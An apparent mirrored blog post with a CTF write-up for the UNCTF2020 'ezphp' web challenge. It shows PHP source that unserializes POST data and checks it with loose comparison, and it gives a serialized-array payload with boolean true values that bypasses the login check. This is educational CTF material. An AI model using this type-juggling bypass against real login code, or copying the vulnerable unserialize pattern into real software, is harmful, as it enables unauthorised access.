码迷,mamicode.com
首页 > Web开发 > 详细

UNCTF2020-WEB:ezphp(array反序列化)

时间:2020-11-25 13:04:51      阅读:25      评论:0      收藏:0      [点我收藏+]

标签:include   使用   loading   bsp   clu   erro   user   结果   serialize   

源码:

<?php 
show_source(__FILE__); 
$username  = "admin"; 
$password  = "password"; 
include("flag.php"); 
$data = isset($_POST[‘data‘])? $_POST[‘data‘]: "" ; 
$data_unserialize = unserialize($data); 
echo 
if ($data_unserialize[‘username‘]==$username&&$data_unserialize[‘password‘]==$password){ 
    echo $flag; 
}else{ 
    echo "username or password error!"; 
} 

 

 

一开始尝试使用array序列化一个账号密码为admin和passowrd的对象

data=a:2:{s:8:"username";s:5:"admin";s:8:"password";s:8:"password";} 

结果在本地运行可以了,在线exp就不行

后来仔细看源码发现 include("flag.php"); 里面应该修改了username或者password的值导致的

 

再观察源码发现是弱类型比较,我们只要把序列化的array值改成True,那么不管username和password怎么变化始终符合条件

最后构造exp:

data=a:2:{s:8:"username";b:1;s:8:"password";b:1;} 

技术图片

 

UNCTF2020-WEB:ezphp(array反序列化)

标签:include   使用   loading   bsp   clu   erro   user   结果   serialize   

原文地址:https://www.cnblogs.com/luocodes/p/14018676.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!